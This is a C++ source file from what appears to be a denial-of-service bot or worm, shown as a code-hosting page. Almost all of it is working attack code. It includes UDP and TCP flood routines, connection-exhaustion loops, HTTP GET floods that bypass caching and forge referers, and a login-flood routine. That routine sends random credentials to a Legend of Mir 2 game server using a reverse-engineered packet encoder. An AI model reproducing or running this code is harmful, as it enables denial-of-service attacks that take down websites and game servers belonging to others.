📄 service.cpp
字号:
WSAStartup(MAKEWORD(2,2) ,&WSAData);
SOCKADDR_IN sockAddr;
SOCKET m_hSocket;
int nSent;
int nSize = strlen(icmpBuffer);
m_hSocket =socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
memset(&sockAddr,0,sizeof(sockAddr));
sockAddr.sin_family = AF_INET;
sockAddr.sin_port=htons(fuckweb.FuckPort);
sockAddr.sin_addr.S_un.S_addr=resolve(fuckweb.FuckIP);
while(!stopfuck)
{
nSent =sendto(m_hSocket, icmpBuffer, nSize, 0, (LPSOCKADDR)&sockAddr, sizeof(sockAddr));
if(nSent == SOCKET_ERROR)
break;
Sleep(40);
}
return 1;
}
unsigned long CALLBACK Pjam_attack(LPVOID dParam)
{
WSADATA wsadata;
WSAStartup(MAKEWORD(2,0), &wsadata);
SOCKADDR_IN sockAddr;
SOCKET m_hSocket;
memset(&sockAddr,0,sizeof(sockAddr));
sockAddr.sin_family = AF_INET;
sockAddr.sin_port=htons(fuckweb.FuckPort);
sockAddr.sin_addr.S_un.S_addr=resolve(fuckweb.FuckIP);
m_hSocket= socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);
connect(m_hSocket,(SOCKADDR*)&sockAddr, sizeof(sockAddr)); // connect in udp?
while(!stopfuck)
{
send(m_hSocket,"fuckwebfuckwebfuckwebfuckwebfuckwebfuckwebfuckweb",50,0);
Sleep(40);
}
return 1;
}
/************************TCP ATTACK***********************************/
unsigned long CALLBACK TCP_flood(LPVOID dParam)
{
WSADATA WSAData;
WSAStartup(MAKEWORD(2,2) ,&WSAData);
SOCKADDR_IN sockAddr;
SOCKET m_hSocket;
int nSent,firstrun;;
char senddata1[152],senddata2[128];
char abc[]="abcdefghijklmnopqrstuvwxyz@$%^&*<>?/|}{+-=";
memset(&sockAddr,0,sizeof(sockAddr));
sockAddr.sin_family = AF_INET;
sockAddr.sin_port=htons(fuckweb.FuckPort);
sockAddr.sin_addr.S_un.S_addr=resolve(fuckweb.FuckIP);
while(!stopfuck)
{
m_hSocket = socket(PF_INET,SOCK_STREAM,0);
if (connect(m_hSocket,(SOCKADDR*)&sockAddr, sizeof(sockAddr))==SOCKET_ERROR)
{
closesocket(m_hSocket);
return 1;
}
for(int a=0;a<65000;a++)
{
memset(senddata1,0,152);
memset(senddata2,0,128);
do
{
firstrun=SEU_Rand(120);/*SEU_Rand()在worm.h中定义了*/
} while(firstrun<20);
for(int i=0;i<firstrun;i++)
{
senddata2[i]=abc[SEU_Rand(42)];
}
sprintf( senddata1, "#%d<<<<<I@C<<<<<%s!",a%10, senddata2);
nSent = send(m_hSocket,senddata1,strlen(senddata1),0);
if(nSent == SOCKET_ERROR)
break;
Sleep(40);
}
closesocket(m_hSocket);
}
return 1;
}
unsigned long CALLBACK connect_break(LPVOID dParam)
{
WSADATA WSAData;
WSAStartup(MAKEWORD(2,2) ,&WSAData);
SOCKADDR_IN sockAddr;
SOCKET m_hSocket;
memset(&sockAddr,0,sizeof(sockAddr));
sockAddr.sin_family = AF_INET;
sockAddr.sin_port=htons(fuckweb.FuckPort);
sockAddr.sin_addr.S_un.S_addr=resolve(fuckweb.FuckIP);
while(!stopfuck)
{
m_hSocket = socket(PF_INET,SOCK_STREAM,0);
connect(m_hSocket,(SOCKADDR*)&sockAddr, sizeof(sockAddr));
Sleep(40);
closesocket(m_hSocket);
}
return 1;
}
unsigned long CALLBACK TCP_connect(LPVOID dParam)
{
WSADATA WSAData;
WSAStartup(MAKEWORD(2,2) ,&WSAData);
SOCKADDR_IN sockAddr;
SOCKET m_hSocket[200];
for (int i=0;i<200;i++)
{
m_hSocket[i] = socket(PF_INET,SOCK_STREAM,0);
connect(m_hSocket[i],(SOCKADDR*)&sockAddr, sizeof(sockAddr));
Sleep(10);
}
while(!stopfuck)
{
for (int i=0;i<200;i++)
{
closesocket(m_hSocket[i]);
}
Sleep(40);
}
return 1;
}
/***************************************************/
unsigned long CALLBACK nocache_get(LPVOID dParam)
{
char all[100],ip[32],port[6],url[32],*point=NULL;
int httpport=80;
strcpy(all,fuckweb.FuckIP);
point=all;
if(strstr(all,"http://")!=NULL)
{
point=point+strlen("http://");
}
if(strstr(point,":")!=NULL)
{
memset(ip,0,sizeof(ip));
strncpy(ip,point,strcspn(point,":"));
point=point+strcspn(point,":")+1;
if(strstr(point,"/")!=NULL)
{
memset(port,0,sizeof(port));
strncpy(port,point,strcspn(point,"/"));
httpport=atoi(port);
point=point+strcspn(point,"/");
memset(url,0,sizeof(url));
strcpy(url,point);
}
}
else
{
if(strstr(point,"/")!=NULL)
{
memset(ip,0,sizeof(ip));
strncpy(ip,point,strcspn(point,"/"));
point=point+strcspn(point,"/");
memset(url,0,sizeof(url));
strcpy(url,point);
}
}
while(!stopfuck)
{
doHTTP(ip,
httpport,
"/*(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html",
"GET",
"Cache-Control: no-cache\r\nReferer: http://www.baidu.com\r\n",
"");
Sleep(40);
}
return 0;
}
unsigned long CALLBACK cc_attack(LPVOID dParam)
{
char all[100],ip[32],port[6],url[32],*point=NULL;
int httpport=80;
strcpy(all,fuckweb.FuckIP);
point=all;
if(strstr(all,"http://")!=NULL)
{
point=point+strlen("http://");
}
if(strstr(point,":")!=NULL)
{
memset(ip,0,sizeof(ip));
strncpy(ip,point,strcspn(point,":"));
point=point+strcspn(point,":")+1;
if(strstr(point,"/")!=NULL)
{
memset(port,0,sizeof(port));
strncpy(port,point,strcspn(point,"/"));
httpport=atoi(port);
point=point+strcspn(point,"/");
memset(url,0,sizeof(url));
strcpy(url,point);
}
}
else
{
if(strstr(point,"/")!=NULL)
{
memset(ip,0,sizeof(ip));
strncpy(ip,point,strcspn(point,"/"));
point=point+strcspn(point,"/");
memset(url,0,sizeof(url));
strcpy(url,point);
}
}
if (strlen(url)<2)
{
strcpy(url,"^*%%RFTGYHJIRTG*(&^%DFG.asp");
}
while(!stopfuck)
{
doHTTP(ip,
httpport,
url,
"GET",
"Cache-Control: no-cache\r\nReferer: http://www.baidu.com\r\n",
"");
Sleep(40);
}
return 0;
}
unsigned long CALLBACK null_get(LPVOID dParam)
{
char all[100],ip[32],port[6],url[32],*point=NULL;
int httpport=80;
strcpy(all,fuckweb.FuckIP);
point=all;
if(strstr(all,"http://")!=NULL)
{
point=point+strlen("http://");
}
if(strstr(point,":")!=NULL)
{
memset(ip,0,sizeof(ip));
strncpy(ip,point,strcspn(point,":"));
point=point+strcspn(point,":")+1;
if(strstr(point,"/")!=NULL)
{
memset(port,0,sizeof(port));
strncpy(port,point,strcspn(point,"/"));
httpport=atoi(port);
point=point+strcspn(point,"/");
memset(url,0,sizeof(url));
strcpy(url,point);
}
}
else
{
if(strstr(point,"/")!=NULL)
{
memset(ip,0,sizeof(ip));
strncpy(ip,point,strcspn(point,"/"));
point=point+strcspn(point,"/");
memset(url,0,sizeof(url));
strcpy(url,point);
}
}
while(!stopfuck)
{
doHTTP(ip,
httpport,
"",
"GET",
"Cache-Control: no-cache\r\nReferer: http://www.google.com\r\n",
"");
Sleep(40);
}
return 0;
}
///////////////////////////////////////////////////////////
//***********************ATTACK**********************************
int Mir2EnCode(BYTE *pInBuff,DWORD dwInLen,BYTE *pOut,DWORD dwOutLen)
{
DWORD var_20 = 0;
BYTE var_1B = 0;
BYTE var_1A = 0;
BYTE var_19 = 0;
DWORD var_18 = 0;
DWORD var_14 = 0;
DWORD var_10 = 0;
DWORD var_C = 0;
DWORD var_8 = 0;
DWORD var_4 = 0;
BYTE bAL = 0;
BYTE bCL = 0;
DWORD dwEAX;
DWORD dwEDX;
DWORD dwECX;
var_20 = dwInLen ;
while(var_20 >0)
{
dwEDX = var_10 ;
bAL = pInBuff[dwEDX];
var_1A = bAL ;
dwECX = var_14 ;
dwECX = dwECX +2;
bAL = var_1A;
dwEAX = bAL ;
dwEAX = dwEAX >> dwECX ;
bAL = dwEAX ;
bAL = bAL | var_1B;
bAL = bAL & 0x3F;
var_19 = bAL;
dwEAX = var_14 ;
dwEAX = dwEAX +2;
dwECX = 8;
dwECX = dwECX - dwEAX ;
bAL = var_1A;
dwEAX = bAL ;
dwEAX = dwEAX << dwECX ;
dwEAX = dwEAX >> 2;
bAL = dwEAX ;
bAL = bAL & 0x3F ;
var_1B = bAL ;
var_14 = var_14 +2;
if(var_14<6)
{
dwEDX = var_18;
bCL = var_19;
bCL = bCL + 0x3C ;
pOut[dwEDX] = bCL ;
var_18 = var_18 +1;
}
else
{
dwEDX = var_18;
bCL = var_19;
bCL = bCL + 0x3C ;
pOut[dwEDX] = bCL ;
dwEDX = var_18 ;
bCL = var_1B ;
bCL = bCL + 0x3C;
pOut[dwEDX+1] = bCL ;
var_18 = var_18 + 2;
dwEAX = 0;
var_14 = 0;
var_1B = 0;
}
var_10 = var_10 +1;
var_20 = var_20 -1;
}
if(var_14 > 0)
{
dwEDX = var_18;
bCL = var_1B;
bCL = bCL + 0x3C ;
pOut[dwEDX] = bCL ;
var_18 = var_18 +1;
}
dwOutLen = var_18;
pOut[var_18]=0;
return 1;
}
typedef struct
{
union
{
DWORD dwFlag;
struct
{
WORD wa;
WORD wb;
};
};
WORD wCmd;
WORD w1;
WORD w2;
WORD w3;
char data[1024];
}MMSG;
const char table[]="0123456789abcdefghijklmnopqrstuvwxyz";
unsigned long CALLBACK Login_Attack(LPVOID dParam)
{
WSADATA WSAData;
WSAStartup(MAKEWORD(2,2) ,&WSAData);
SOCKADDR_IN sockAddr;
SOCKET m_hSocket;
m_hSocket = socket(PF_INET,SOCK_STREAM,0);
memset(&sockAddr,0,sizeof(sockAddr));
sockAddr.sin_family = AF_INET;
sockAddr.sin_port=htons(fuckweb.FuckPort);
sockAddr.sin_addr.S_un.S_addr=resolve(fuckweb.FuckIP);
MMSG *pmsg;
pmsg=(MMSG*)malloc(sizeof(MMSG));
memset(pmsg,0,sizeof(MMSG));
pmsg->wCmd=0x07d1;
int nSize,RandSize;
char name[22],pass[10],tempdata[128],Senddata[128];
memset(name,0,22);
memset(pass,0,10);
memset(tempdata,0,128);
memset(Senddata,0,128);
while(!stopfuck)
{
do
{
RandSize=SEU_Rand(20);
} while(RandSize<5);
for(int i=0;i<RandSize;i++)
{
name[i]=table[SEU_Rand(36)];
}
for(i=0;i<9;i++)
{
pass[i]=table[SEU_Rand(36)];
}
sprintf(pmsg->data,"%s/%s",name,pass);
RandSize = strlen(pmsg->data) +12;
Mir2EnCode((BYTE *)pmsg,RandSize,(BYTE *)tempdata,nSize);
sprintf(Senddata,"#0%s!",tempdata);
if (connect(m_hSocket,(SOCKADDR*)&sockAddr, sizeof(sockAddr)) != 0)
{
closesocket(m_hSocket);
continue;
}
if(SOCKET_ERROR==send(m_hSocket,Senddata,strlen(Senddata),0))
continue;
recv(m_hSocket,tempdata,128,0);
closesocket(m_hSocket);
}
return 1;
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -